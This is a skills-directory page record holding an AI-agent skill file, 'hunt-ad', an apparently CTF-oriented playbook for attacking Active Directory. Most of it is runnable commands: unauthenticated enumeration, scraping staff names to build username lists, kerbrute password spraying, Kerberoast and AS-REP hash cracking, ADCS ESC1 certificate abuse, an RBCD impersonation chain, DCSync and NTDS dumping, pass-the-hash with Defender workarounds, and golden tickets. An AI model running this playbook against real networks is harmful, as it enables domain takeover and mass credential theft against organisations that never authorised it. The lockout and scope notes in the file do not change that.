[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EK7ECH10474YZC8DCQ06VR":3,"skill-same:01M7EK7ECH10474YZC8DCQ06VR":46},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":24,"commitSha":25,"skillDirectory":26,"forksCount":27,"repositoryHtmlUrl":28,"repositoryHomepageUrl":6,"ownerHtmlUrl":29,"ownerBlogUrl":6,"ownerDescription":30,"updatedAt":31,"install":32,"resources":45},"01M7EK7ECH10474YZC8DCQ06VR","hunt-ad",null,"Active Directory attack hunting - enumeration to domain dominance. Spray-safe (lockout gate), AS-REP\u002FKerberoast, ACL + ADCS (ESC1-16), delegation, DCSync, lateral movement. Wiki-first, FIND schema output.","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fhunt-ad\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: hunt-ad\ndescription: Active Directory attack hunting - enumeration to domain dominance. Spray-safe (lockout gate), AS-REP\u002FKerberoast, ACL + ADCS (ESC1-16), delegation, DCSync, lateral movement. Wiki-first, FIND schema output.\n---\n\n# Hunt: Active Directory\n\n**Assumes `hunt-core`** for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.\n\n## Wiki\n\n```\nqmd_query \"Active Directory kerberoast AS-REP ADCS ESC delegation DCSync lateral movement BloodHound\" via wiki-search MCP\n```\n\nHub: [[active-directory-moc]] (live index). Primary page: [[active-directory]].\nAnchors: [[adcs]] (ESC1-16 matrix, the highest-value escalation edge), [[kerberos-attacks]] (AS-REP\u002FKerberoast plus the delegation paths).\nTool anchor: [[netexec]] (the full nxc map: every protocol, flag, and module, with the spray\u002Flockout, Kerberos, exec-method, and dumping gotchas). Read the LDAP + SMB sections before hand-rolling any AD enumeration; most steps below are one nxc flag.\n\n## Attack surface signals\nPorts: SMB 445, LDAP 389\u002F636, Kerberos 88, ADWS 9389, WinRM 5985\u002F5986, RPC 135, MSSQL 1433, ADCS web enroll 80\u002F443 (`\u002Fcertsrv`).\nFootholds: null\u002Fguest SMB, anonymous LDAP bind, AS-REP-roastable users (no preauth), SMB signing OFF (relay), `ms-DS-MachineAccountQuota > 0`, pre-Win2000 computers, LAPS readable.\n\n## Spray-safe + AD safety gate (READ FIRST)\n- **Spray-safe lockout gate - the AD analog of the `hunt-core` enumeration limits.** Read the domain lockout policy BEFORE any spray: `nxc smb \u003Cdc> -u \u003Cuser> -p \u003Cpass> --pass-pol`. Spray at most **1 attempt per account per observation window**, and never exceed `(lockoutThreshold - 1)` attempts per account per window. RoE `no_bruteforce` \u002F `passive_only` -> enumerate only, NO spray. Locking real accounts is a client-impacting incident, not a finding.\n- **Reuse captured creds first** (from `loot.md`) before researching new ones; default\u002Fknown creds before any spray (see [[default-credentials]]).\n- **Clock skew:** sync to DC (`ntpdate \u003Cdc>` or `faketime`) or Kerberos TGT requests fail with `KRB_AP_ERR_SKEW`.\n- **Stale `\u002Fetc\u002Fhosts` realm entry silently breaks Kerberos.** A prior box's `\u003Crealm> -> \u003Cold-ip>` line makes impacket resolve the KDC to a dead host and hang with `[Errno 110] Connection timed out (REALM:88)`, even though certipy (which forces `-dc-ip`) worked seconds earlier. When you add the DC to `\u002Fetc\u002Fhosts`, REMOVE any existing line for the same realm, and ALWAYS pass `-dc-ip \u003Cdc>` (and `-target-ip \u003Cdc>`) on impacket Kerberos ops so KDC\u002Ftarget resolution never depends on DNS\u002Fhosts. Same fix if `certipy req` throws `The NETBIOS connection ... timed out`: add `-target-ip \u003Cdc>`.\n- **Hash recovered but the account blocks NTLM?** ESC1\u002FUnPAC\u002FPKINIT hands you BOTH an NT hash AND a TGT ccache. If PtH returns `STATUS_ACCOUNT_RESTRICTION` (the account is in Protected Users \u002F NTLM-hardened, common for `Administrator`), the hash is a red herring - use the ccache: `export KRB5CCNAME=\u003Cuser>.ccache; impacket-smbclient\u002Fsecretsdump -k -no-pass -dc-ip \u003Cdc> \u003Cdc-fqdn>` reads flags \u002F DCSyncs over Kerberos. See [[adcs]].\n- Never pivot through `192.168.1.x` hosts (Ligolo tunnel only for lateral movement).\n\n## Ranked path + highest-value edges\nRanked: enum -> AS-REP\u002FKerberoast -> ACL \u002F ADCS ESC1-16 -> delegation -> DCSync -> lateral -> DA. **The ADCS ESC1-16 matrix (step 5) and the delegation paths (step 6) are the highest-value edges** - one vulnerable template or a writable `msDS-AllowedToActOnBehalfOfOtherIdentity` is often the entire DA chain. **Chain:** every cracked\u002Fsprayed cred re-feeds enum + BloodHound; a Kerberoastable SPN account doubles as an RBCD `-delegate-from`; an on-box cred store (step 7) frequently yields the account that holds the winning ACL.\n\n## Methodology\n\n**Efficiency: fire the unauth-enum WAVE at once, don't grind it serially.** On a fresh DC the first\n6 reads are independent - launch them together (parallel tmux tabs \u002F back-to-back), then read results:\nnull+guest shares & RID-brute, anonymous LDAP users + **all `description`\u002F`info` fields** (planted seed\npasswords live here), AS-REP roast of the whole user list, person-object SPN enum (Kerberoast), the\nLDAP lockout policy, AND `certipy find -vulnerable` (ADCS ESC is on MOST modern THM\u002FHTB DCs - run it in\nthe unauth wave with any cred you get, not as an afterthought). This one wave usually already contains\nthe foothold (a description seed to spray) and the escalation (an ESC template).\n\n1. **Unauth enum:**\n```bash\nnxc smb \u003Cdc> -u '' -p '' --shares            # null session\nnxc smb \u003Cdc> -u guest -p '' --rid-brute 5000 # guest RID cycling when null shares are denied\nnxc ldap \u003Cdc> -u '' -p '' --users            # anonymous bind\n# planted-password sweep (classic THM foothold) - read EVERY non-generic description:\nldapsearch -x -H ldap:\u002F\u002F\u003Cdc> -b \u003Cbase> \"(objectClass=user)\" sAMAccountName description\nenum4linux-ng -A \u003Cdc>;  rpcclient -U '' -N \u003Cdc>\n```\n2. **Build the user list - harvest EXHAUSTIVELY, then validate (lockout-safe):**\n   When anon enum is locked down, the user list comes from the target's own web app + OSINT. **Scrape\n   EVERY page, not just the homepage** - names hide in `about`\u002F`team`\u002F`staff`\u002F`leadership`\u002F`testimonial`\u002F\n   `contact` sections that the index page does not show. (Missing the `about.html` \"Our Team\" block once\n   cost two valid users on a box.) Extract every `First Last`, note the format from any leaked email\n   (`j.doe@dom` = `f.last`), generate permutations, and let kerbrute tell you which are real:\n```bash\n# pull all pages, strip tags, extract capitalized name bigrams\nfor p in $(curl -s http:\u002F\u002F\u003Ct>\u002F | grep -oiE 'href=\"[^\"]+\\.html?\"' | cut -d'\"' -f2 | sort -u); do\n  curl -s http:\u002F\u002F\u003Ct>\u002F$p | sed -e 's\u002F\u003C[^>]*>\u002F \u002Fg'; done | grep -oE '[A-Z][a-z]+ [A-Z][a-z]+' | sort -u\n# -> for each \"First Last\": emit f.last, flast, first.last, first_last, last  (+ leaked-email format)\nkerbrute userenum -d \u003Cdomain> --dc \u003Cdc> users.txt      # filler template names simply will NOT validate\n# SPRAY with kerbrute, NOT a large SMB loop: kerbrute passwordspray is parallel Kerberos pre-auth\n# (~500 users in seconds); `nxc smb -u \u003Cfile>` walks them one TCP session at a time (minutes). Same\n# result, ~50x faster - reach for kerbrute first on any big list, keep nxc for the 1-off cred check.\nkerbrute passwordspray -d \u003Cdomain> --dc \u003Cdc> users.txt 'CHANGEME2023!'   # one-pass, lockout-gated\n```\n   Every validated user is an AS-REP roast + spray target (step 3). Do NOT stop at the first\u002Fonly name\n   the homepage leaks.\n3. **Roasting:**\n```bash\nimpacket-GetNPUsers \u003Cdomain>\u002F -dc-ip \u003Cdc> -usersfile users.txt -no-pass   # AS-REP\nimpacket-GetUserSPNs \u003Cdomain>\u002F\u003Cuser>:\u003Cpass> -dc-ip \u003Cdc> -request          # Kerberoast\nhashcat -m 18200 asrep.txt rockyou.txt;  hashcat -m 13100 tgs.txt rockyou.txt\n```\n   - **Enumerate USER SPNs with an object-class filter, or the DC machine account masks them.** A bare\n     `(servicePrincipalName=*)` is dominated by `AD$`'s many SPNs; the ONE Kerberoastable user is easily\n     missed and you wrongly conclude \"no Kerberoast target\" (drift into AS-REP-crack\u002Fspray rabbit holes).\n     Always: `ldapsearch -x -H ldap:\u002F\u002F\u003Cdc> -b \u003Cbase> \"(&(servicePrincipalName=*)(objectCategory=person))\" sAMAccountName servicePrincipalName`.\n   - **No creds but an AS-REP-roastable account exists? Kerberoast WITHOUT pre-auth** (credless): use the\n     roastable account as the requester -> `impacket-GetUserSPNs -no-preauth \u003Casrep_user> -usersfile \u003Cspn_users> -dc-host \u003Cdc> \u003Cdomain>\u002F`. Then `hashcat -m 13100`. See [[roasting-kerberoasting]].\n   - **hashcat single-instance lock:** a long crack (e.g. rockyou x big-rule) holds `\u002Fusr\u002Fbin\u002Fhashcat`;\n     a second crack exits INSTANTLY with \"Already an instance ... running\" (Started==Stopped, empty\n     `--show`). `pkill hashcat` (or wait) before the next crack, and check output for that line when a\n     crack returns nothing.\n4. **BloodHound + ACL abuse:**\n```bash\nnxc ldap \u003Cdc> -u \u003Cuser> -p \u003Cpass> --bloodhound -c all --dns-server \u003Cdc>\n# GenericWrite\u002FWriteDACL\u002FGenericAll -> shadow creds (certipy shadow auto), targeted Kerberoast, group add\n```\n   - **A ForceChangePassword\u002Fcontrol chain that \"dead-ends\" is a BloodHound-ACL blind spot, NOT a\n     dead end. Re-enumerate the ATTRIBUTES of every account you gain, especially the terminal one.**\n     The winning primitive is frequently an account PROPERTY the ACL graph does not surface as an\n     outbound edge: **constrained delegation** (`msDS-AllowedToDelegateTo`), an SPN (Kerberoastable \u002F\n     RBCD `-delegate-from`), a DCSync right, `AdminCount`, or membership that grants it. When a reset\n     daisy-chain (TABATHA->SHAWNA->CRUZ->DARLA) loops or stops, run on the LAST user you own:\n     `nxc ldap \u003Cdc> -u \u003Cuser> -p \u003Cpass> --find-delegation` (constrained\u002Funconstrained\u002FRBCD in one\n     shot), `impacket-GetUserSPNs` (SPN), and re-check its group memberships. Do NOT conclude \"no\n     path to DA\" off the ACL edges alone (real: a whole box's DA leg was `Constrained w\u002F Protocol\n     Transition` on the chain's terminal user, invisible as an ACL edge; chasing the ACL-controlled\n     accounts instead burned the run).\n5. **ADCS (run on every engagement):**\n```bash\ncertipy find -u \u003Cuser>@\u003Cdomain> -p \u003Cpass> -dc-ip \u003Cdc> -vulnerable -stdout    # ESC1-16\ncertipy req -u \u003Cuser>@\u003Cdomain> -p \u003Cpass> -ca \u003Cca> -template \u003Cvuln> -upn administrator@\u003Cdomain>   # ESC1\n```\n6. **Delegation:** unconstrained (TGT capture via printerbug\u002Fcoerce), constrained (`-impersonate`), RBCD (`ms-DS-AllowedToActOnBehalfOfOtherIdentity` write).\n   - **Constrained delegation W\u002F PROTOCOL TRANSITION on a USER you control = instant impersonation of ANY user to that SPN** (no computer\u002FRBCD needed): `--find-delegation` shows `Constrained w\u002F Protocol Transition` + the `DelegationRightsTo` SPN (e.g. `cifs\u002FDC.dom`). Then `impacket-getST -spn cifs\u002FDC.\u003Cdom> -impersonate Administrator -dc-ip \u003Cdc> '\u003Cdom>\u002F\u003Cuser>:\u003Cpass>'` -> `KRB5CCNAME=Administrator@...ccache impacket-smbclient -k -no-pass DC.\u003Cdom>` reads `C$\\Users\\Administrator\\Desktop\\root.txt` directly (no exec, AV-safe). Sync clock first (`ntpdate \u003Cdc>`) or getST throws `KRB_AP_ERR_SKEW`; add the DC FQDN to `\u002Fetc\u002Fhosts`. This is the whole DA leg when a reset-chain's terminal user holds it.\n   - **RBCD -> DA chain** (own an account with `AddAllowedToAct`\u002F`GenericWrite` on a computer + MAQ>0): `impacket-addcomputer \u003Cdom>\u002F\u003Cu>:\u003Cp> -computer-name 'FAKE$' -computer-pass \u003Cpw> -dc-ip \u003Cdc>` -> `impacket-rbcd \u003Cdom>\u002F\u003Cu>:\u003Cp> -delegate-to 'DC01$' -delegate-from 'FAKE$' -action write -dc-ip \u003Cdc>` -> `impacket-getST \u003Cdom>\u002F'FAKE$':\u003Cpw> -spn cifs\u002FDC01.\u003Cdom> -impersonate Administrator -dc-ip \u003Cdc>` -> `KRB5CCNAME=\u003Cccache> impacket-secretsdump -k -no-pass DC01.\u003Cdom> -just-dc-user Administrator`. Sync clock if getST throws `KRB_AP_ERR_SKEW`. The account with the write is often obtained by **password reuse from an on-box cred store** (step 7), not an ACL edge from your foothold.\n   - **MAQ=0 does NOT block RBCD.** You only need a machine account if you have none; ANY account you control with an SPN (a Kerberoastable user) is a valid `-delegate-from`. Cracked a Kerberoastable user? Reuse it, skip `addcomputer`. And the write can come from a low-priv principal: a DACL granting `BUILTIN\\Guests` GenericWrite over the DC computer object is exploitable straight from a guest\u002Fnull session (`-hashes :31d6cfe0d16ae931b73c59d7e0c089c0` = empty-pw NT hash, since impacket prompts on a TTY-less run). See [[kerberos-attacks]].\n7. **Credential access \u002F DCSync:**\n```bash\nnxc smb \u003Cdc> -u \u003Cuser> -p \u003Cpass> --ntds                 # if admin\nimpacket-secretsdump \u003Cdomain>\u002F\u003Cuser>:\u003Cpass>@\u003Cdc>        # DCSync if rights\n```\n   - **On-box cred stores (via RDP\u002Fsession):** a user only in **Remote Desktop Users** can still RDP the DC (nxc rdp shows Pwn3d) -> hunt KeePass `*.kdbx`, browser\u002FWinSCP\u002FRDP creds. A KeePass DB keyed to the **Windows user account** (`KeePass.config.xml` `\u003CUserAccount>true\u003C\u002FUserAccount>`) is UNCRACKABLE offline - open KeePass ON the box as that user, then spray the creds for reuse. Headless-RDP recipe: [[ad-lateral-movement]] \u002F Skill(ctf-box); see [[password-cracking]].\n8. **Lateral:** PtH \u002F PtT \u002F overpass-the-hash -> `evil-winrm`, `nxc ... -x`, `impacket-wmiexec`, `psexec`. **AV gotcha:** Defender blocks `nxc -x`\u002Fwmiexec output retrieval (\"could not retrieve output file\"); to just READ a file (the flag) as admin, skip exec entirely: `smbclient \u002F\u002F\u003Cdc>\u002FC$ -U \u003Cdom>\u002FAdministrator --pw-nt-hash \u003Cnt> -c 'get Users\\Administrator\\Desktop\\flag.txt'`, or use `--exec-method smbexec\u002Fatexec`.\n9. **Dominance:** golden (krbtgt) \u002F silver \u002F diamond ticket, DCSync persistence, AdminSDHolder, certificate (ESC8 NTLM relay to ADCS web enroll).\n10. **Distill (confirmed, GENERIC):** a reusable ACL chain \u002F ADCS ESC variant \u002F relay primitive -> `python3 scripts\u002Fwiki-stage.py --kind technique --slug \u003Cslug> --target-page techniques\u002Factive-directory\u002Fadcs.md`.\n\n## Confirmation gate\n\n**NOT confirmation:** a hash captured but never cracked or used; a Kerberoast\u002FAS-REP ticket dumped but not cracked; a BloodHound edge (`GenericWrite`, `AddAllowedToAct`, an ESC \"vulnerable\" flag) that is theoretical and never executed; `certipy find` listing a template you never enrolled against; a spray \"hit\" you have not re-validated with a clean authentication.\n\n**IS confirmation:** credentials validated against the DC (`nxc smb`\u002F`ldap`\u002F`winrm \u003Cdc> -u \u003Cuser> -p \u003Cpass>` returns `[+]` \u002F `Pwn3d!`); a TGT\u002FTGS obtained AND used (authenticated an action, read a file, DCSynced with it); a DCSync that actually returned NT hashes; an ACL abuse executed end to end (shadow-creds -> authenticated, targeted Kerberoast -> cracked, group add -> new access gained); an ESC exploited to a certificate that authenticated as the target. Reproduced from your own written steps.\n\n## Severity\n\nCRITICAL = DA \u002F domain compromise \u002F DCSync \u002F ESC1 \u002F ESC8. HIGH = user creds + lateral movement, Kerberoast cracked to a privileged account. MEDIUM = enum \u002F info disclosure, a spray hit with no privilege.\n\n## Deadends\n\n```\nAppend: - [ ] AD spray \u003Cdomain> -- full user x pass matrix once (Season2025!\u002FWelcome1), 0 hits, lockout thr 5;\n              ADCS no ESC template; no BloodHound path from \u003Cuser>\n```\n\nRecord the boundary (which creds, which lockout threshold, which ESC\u002FBH gaps), not just that it failed. A bare entry gets re-run.\n","# Hunt: Active Directory\n\n**Assumes `hunt-core`** for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.\n\n## Wiki\n\n```\nqmd_query \"Active Directory kerberoast AS-REP ADCS ESC delegation DCSync lateral movement BloodHound\" via wiki-search MCP\n```\n\nHub: [[active-directory-moc]] (live index). Primary page: [[active-directory]].\nAnchors: [[adcs]] (ESC1-16 matrix, the highest-value escalation edge), [[kerberos-attacks]] (AS-REP\u002FKerberoast plus the delegation paths).\nTool anchor: [[netexec]] (the full nxc map: every protocol, flag, and module, with the spray\u002Flockout, Kerberos, exec-method, and dumping gotchas). Read the LDAP + SMB sections before hand-rolling any AD enumeration; most steps below are one nxc flag.\n\n## Attack surface signals\nPorts: SMB 445, LDAP 389\u002F636, Kerberos 88, ADWS 9389, WinRM 5985\u002F5986, RPC 135, MSSQL 1433, ADCS web enroll 80\u002F443 (`\u002Fcertsrv`).\nFootholds: null\u002Fguest SMB, anonymous LDAP bind, AS-REP-roastable users (no preauth), SMB signing OFF (relay), `ms-DS-MachineAccountQuota > 0`, pre-Win2000 computers, LAPS readable.\n\n## Spray-safe + AD safety gate (READ FIRST)\n- **Spray-safe lockout gate - the AD analog of the `hunt-core` enumeration limits.** Read the domain lockout policy BEFORE any spray: `nxc smb \u003Cdc> -u \u003Cuser> -p \u003Cpass> --pass-pol`. Spray at most **1 attempt per account per observation window**, and never exceed `(lockoutThreshold - 1)` attempts per account per window. RoE `no_bruteforce` \u002F `passive_only` -> enumerate only, NO spray. Locking real accounts is a client-impacting incident, not a finding.\n- **Reuse captured creds first** (from `loot.md`) before researching new ones; default\u002Fknown creds before any spray (see [[default-credentials]]).\n- **Clock skew:** sync to DC (`ntpdate \u003Cdc>` or `faketime`) or Kerberos TGT requests fail with `KRB_AP_ERR_SKEW`.\n- **Stale `\u002Fetc\u002Fhosts` realm entry silently breaks Kerberos.** A prior box's `\u003Crealm> -> \u003Cold-ip>` line makes impacket resolve the KDC to a dead host and hang with `[Errno 110] Connection timed out (REALM:88)`, even though certipy (which forces `-dc-ip`) worked seconds earlier. When you add the DC to `\u002Fetc\u002Fhosts`, REMOVE any existing line for the same realm, and ALWAYS pass `-dc-ip \u003Cdc>` (and `-target-ip \u003Cdc>`) on impacket Kerberos ops so KDC\u002Ftarget resolution never depends on DNS\u002Fhosts. Same fix if `certipy req` throws `The NETBIOS connection ... timed out`: add `-target-ip \u003Cdc>`.\n- **Hash recovered but the account blocks NTLM?** ESC1\u002FUnPAC\u002FPKINIT hands you BOTH an NT hash AND a TGT ccache. If PtH returns `STATUS_ACCOUNT_RESTRICTION` (the account is in Protected Users \u002F NTLM-hardened, common for `Administrator`), the hash is a red herring - use the ccache: `export KRB5CCNAME=\u003Cuser>.ccache; impacket-smbclient\u002Fsecretsdump -k -no-pass -dc-ip \u003Cdc> \u003Cdc-fqdn>` reads flags \u002F DCSyncs over Kerberos. See [[adcs]].\n- Never pivot through `192.168.1.x` hosts (Ligolo tunnel only for lateral movement).\n\n## Ranked path + highest-value edges\nRanked: enum -> AS-REP\u002FKerberoast -> ACL \u002F ADCS ESC1-16 -> delegation -> DCSync -> lateral -> DA. **The ADCS ESC1-16 matrix (step 5) and the delegation paths (step 6) are the highest-value edges** - one vulnerable template or a writable `msDS-AllowedToActOnBehalfOfOtherIdentity` is often the entire DA chain. **Chain:** every cracked\u002Fsprayed cred re-feeds enum + BloodHound; a Kerberoastable SPN account doubles as an RBCD `-delegate-from`; an on-box cred store (step 7) frequently yields the account that holds the winning ACL.\n\n## Methodology\n\n**Efficiency: fire the unauth-enum WAVE at once, don't grind it serially.** On a fresh DC the first\n6 reads are independent - launch them together (parallel tmux tabs \u002F back-to-back), then read results:\nnull+guest shares & RID-brute, anonymous LDAP users + **all `description`\u002F`info` fields** (planted seed\npasswords live here), AS-REP roast of the whole user list, person-object SPN enum (Kerberoast), the\nLDAP lockout policy, AND `certipy find -vulnerable` (ADCS ESC is on MOST modern THM\u002FHTB DCs - run it in\nthe unauth wave with any cred you get, not as an afterthought). This one wave usually already contains\nthe foothold (a description seed to spray) and the escalation (an ESC template).\n\n1. **Unauth enum:**\n```bash\nnxc smb \u003Cdc> -u '' -p '' --shares            # null session\nnxc smb \u003Cdc> -u guest -p '' --rid-brute 5000 # guest RID cycling when null shares are denied\nnxc ldap \u003Cdc> -u '' -p '' --users            # anonymous bind\n# planted-password sweep (classic THM foothold) - read EVERY non-generic description:\nldapsearch -x -H ldap:\u002F\u002F\u003Cdc> -b \u003Cbase> \"(objectClass=user)\" sAMAccountName description\nenum4linux-ng -A \u003Cdc>;  rpcclient -U '' -N \u003Cdc>\n```\n2. **Build the user list - harvest EXHAUSTIVELY, then validate (lockout-safe):**\n   When anon enum is locked down, the user list comes from the target's own web app + OSINT. **Scrape\n   EVERY page, not just the homepage** - names hide in `about`\u002F`team`\u002F`staff`\u002F`leadership`\u002F`testimonial`\u002F\n   `contact` sections that the index page does not show. (Missing the `about.html` \"Our Team\" block once\n   cost two valid users on a box.) Extract every `First Last`, note the format from any leaked email\n   (`j.doe@dom` = `f.last`), generate permutations, and let kerbrute tell you which are real:\n```bash\n# pull all pages, strip tags, extract capitalized name bigrams\nfor p in $(curl -s http:\u002F\u002F\u003Ct>\u002F | grep -oiE 'href=\"[^\"]+\\.html?\"' | cut -d'\"' -f2 | sort -u); do\n  curl -s http:\u002F\u002F\u003Ct>\u002F$p | sed -e 's\u002F\u003C[^>]*>\u002F \u002Fg'; done | grep -oE '[A-Z][a-z]+ [A-Z][a-z]+' | sort -u\n# -> for each \"First Last\": emit f.last, flast, first.last, first_last, last  (+ leaked-email format)\nkerbrute userenum -d \u003Cdomain> --dc \u003Cdc> users.txt      # filler template names simply will NOT validate\n# SPRAY with kerbrute, NOT a large SMB loop: kerbrute passwordspray is parallel Kerberos pre-auth\n# (~500 users in seconds); `nxc smb -u \u003Cfile>` walks them one TCP session at a time (minutes). Same\n# result, ~50x faster - reach for kerbrute first on any big list, keep nxc for the 1-off cred check.\nkerbrute passwordspray -d \u003Cdomain> --dc \u003Cdc> users.txt 'CHANGEME2023!'   # one-pass, lockout-gated\n```\n   Every validated user is an AS-REP roast + spray target (step 3). Do NOT stop at the first\u002Fonly name\n   the homepage leaks.\n3. **Roasting:**\n```bash\nimpacket-GetNPUsers \u003Cdomain>\u002F -dc-ip \u003Cdc> -usersfile users.txt -no-pass   # AS-REP\nimpacket-GetUserSPNs \u003Cdomain>\u002F\u003Cuser>:\u003Cpass> -dc-ip \u003Cdc> -request          # Kerberoast\nhashcat -m 18200 asrep.txt rockyou.txt;  hashcat -m 13100 tgs.txt rockyou.txt\n```\n   - **Enumerate USER SPNs with an object-class filter, or the DC machine account masks them.** A bare\n     `(servicePrincipalName=*)` is dominated by `AD$`'s many SPNs; the ONE Kerberoastable user is easily\n     missed and you wrongly conclude \"no Kerberoast target\" (drift into AS-REP-crack\u002Fspray rabbit holes).\n     Always: `ldapsearch -x -H ldap:\u002F\u002F\u003Cdc> -b \u003Cbase> \"(&(servicePrincipalName=*)(objectCategory=person))\" sAMAccountName servicePrincipalName`.\n   - **No creds but an AS-REP-roastable account exists? Kerberoast WITHOUT pre-auth** (credless): use the\n     roastable account as the requester -> `impacket-GetUserSPNs -no-preauth \u003Casrep_user> -usersfile \u003Cspn_users> -dc-host \u003Cdc> \u003Cdomain>\u002F`. Then `hashcat -m 13100`. See [[roasting-kerberoasting]].\n   - **hashcat single-instance lock:** a long crack (e.g. rockyou x big-rule) holds `\u002Fusr\u002Fbin\u002Fhashcat`;\n     a second crack exits INSTANTLY with \"Already an instance ... running\" (Started==Stopped, empty\n     `--show`). `pkill hashcat` (or wait) before the next crack, and check output for that line when a\n     crack returns nothing.\n4. **BloodHound + ACL abuse:**\n```bash\nnxc ldap \u003Cdc> -u \u003Cuser> -p \u003Cpass> --bloodhound -c all --dns-server \u003Cdc>\n# GenericWrite\u002FWriteDACL\u002FGenericAll -> shadow creds (certipy shadow auto), targeted Kerberoast, group add\n```\n   - **A ForceChangePassword\u002Fcontrol chain that \"dead-ends\" is a BloodHound-ACL blind spot, NOT a\n     dead end. Re-enumerate the ATTRIBUTES of every account you gain, especially the terminal one.**\n     The winning primitive is frequently an account PROPERTY the ACL graph does not surface as an\n     outbound edge: **constrained delegation** (`msDS-AllowedToDelegateTo`), an SPN (Kerberoastable \u002F\n     RBCD `-delegate-from`), a DCSync right, `AdminCount`, or membership that grants it. When a reset\n     daisy-chain (TABATHA->SHAWNA->CRUZ->DARLA) loops or stops, run on the LAST user you own:\n     `nxc ldap \u003Cdc> -u \u003Cuser> -p \u003Cpass> --find-delegation` (constrained\u002Funconstrained\u002FRBCD in one\n     shot), `impacket-GetUserSPNs` (SPN), and re-check its group memberships. Do NOT conclude \"no\n     path to DA\" off the ACL edges alone (real: a whole box's DA leg was `Constrained w\u002F Protocol\n     Transition` on the chain's terminal user, invisible as an ACL edge; chasing the ACL-controlled\n     accounts instead burned the run).\n5. **ADCS (run on every engagement):**\n```bash\ncertipy find -u \u003Cuser>@\u003Cdomain> -p \u003Cpass> -dc-ip \u003Cdc> -vulnerable -stdout    # ESC1-16\ncertipy req -u \u003Cuser>@\u003Cdomain> -p \u003Cpass> -ca \u003Cca> -template \u003Cvuln> -upn administrator@\u003Cdomain>   # ESC1\n```\n6. **Delegation:** unconstrained (TGT capture via printerbug\u002Fcoerce), constrained (`-impersonate`), RBCD (`ms-DS-AllowedToActOnBehalfOfOtherIdentity` write).\n   - **Constrained delegation W\u002F PROTOCOL TRANSITION on a USER you control = instant impersonation of ANY user to that SPN** (no computer\u002FRBCD needed): `--find-delegation` shows `Constrained w\u002F Protocol Transition` + the `DelegationRightsTo` SPN (e.g. `cifs\u002FDC.dom`). Then `impacket-getST -spn cifs\u002FDC.\u003Cdom> -impersonate Administrator -dc-ip \u003Cdc> '\u003Cdom>\u002F\u003Cuser>:\u003Cpass>'` -> `KRB5CCNAME=Administrator@...ccache impacket-smbclient -k -no-pass DC.\u003Cdom>` reads `C$\\Users\\Administrator\\Desktop\\root.txt` directly (no exec, AV-safe). Sync clock first (`ntpdate \u003Cdc>`) or getST throws `KRB_AP_ERR_SKEW`; add the DC FQDN to `\u002Fetc\u002Fhosts`. This is the whole DA leg when a reset-chain's terminal user holds it.\n   - **RBCD -> DA chain** (own an account with `AddAllowedToAct`\u002F`GenericWrite` on a computer + MAQ>0): `impacket-addcomputer \u003Cdom>\u002F\u003Cu>:\u003Cp> -computer-name 'FAKE$' -computer-pass \u003Cpw> -dc-ip \u003Cdc>` -> `impacket-rbcd \u003Cdom>\u002F\u003Cu>:\u003Cp> -delegate-to 'DC01$' -delegate-from 'FAKE$' -action write -dc-ip \u003Cdc>` -> `impacket-getST \u003Cdom>\u002F'FAKE$':\u003Cpw> -spn cifs\u002FDC01.\u003Cdom> -impersonate Administrator -dc-ip \u003Cdc>` -> `KRB5CCNAME=\u003Cccache> impacket-secretsdump -k -no-pass DC01.\u003Cdom> -just-dc-user Administrator`. Sync clock if getST throws `KRB_AP_ERR_SKEW`. The account with the write is often obtained by **password reuse from an on-box cred store** (step 7), not an ACL edge from your foothold.\n   - **MAQ=0 does NOT block RBCD.** You only need a machine account if you have none; ANY account you control with an SPN (a Kerberoastable user) is a valid `-delegate-from`. Cracked a Kerberoastable user? Reuse it, skip `addcomputer`. And the write can come from a low-priv principal: a DACL granting `BUILTIN\\Guests` GenericWrite over the DC computer object is exploitable straight from a guest\u002Fnull session (`-hashes :31d6cfe0d16ae931b73c59d7e0c089c0` = empty-pw NT hash, since impacket prompts on a TTY-less run). See [[kerberos-attacks]].\n7. **Credential access \u002F DCSync:**\n```bash\nnxc smb \u003Cdc> -u \u003Cuser> -p \u003Cpass> --ntds                 # if admin\nimpacket-secretsdump \u003Cdomain>\u002F\u003Cuser>:\u003Cpass>@\u003Cdc>        # DCSync if rights\n```\n   - **On-box cred stores (via RDP\u002Fsession):** a user only in **Remote Desktop Users** can still RDP the DC (nxc rdp shows Pwn3d) -> hunt KeePass `*.kdbx`, browser\u002FWinSCP\u002FRDP creds. A KeePass DB keyed to the **Windows user account** (`KeePass.config.xml` `\u003CUserAccount>true\u003C\u002FUserAccount>`) is UNCRACKABLE offline - open KeePass ON the box as that user, then spray the creds for reuse. Headless-RDP recipe: [[ad-lateral-movement]] \u002F Skill(ctf-box); see [[password-cracking]].\n8. **Lateral:** PtH \u002F PtT \u002F overpass-the-hash -> `evil-winrm`, `nxc ... -x`, `impacket-wmiexec`, `psexec`. **AV gotcha:** Defender blocks `nxc -x`\u002Fwmiexec output retrieval (\"could not retrieve output file\"); to just READ a file (the flag) as admin, skip exec entirely: `smbclient \u002F\u002F\u003Cdc>\u002FC$ -U \u003Cdom>\u002FAdministrator --pw-nt-hash \u003Cnt> -c 'get Users\\Administrator\\Desktop\\flag.txt'`, or use `--exec-method smbexec\u002Fatexec`.\n9. **Dominance:** golden (krbtgt) \u002F silver \u002F diamond ticket, DCSync persistence, AdminSDHolder, certificate (ESC8 NTLM relay to ADCS web enroll).\n10. **Distill (confirmed, GENERIC):** a reusable ACL chain \u002F ADCS ESC variant \u002F relay primitive -> `python3 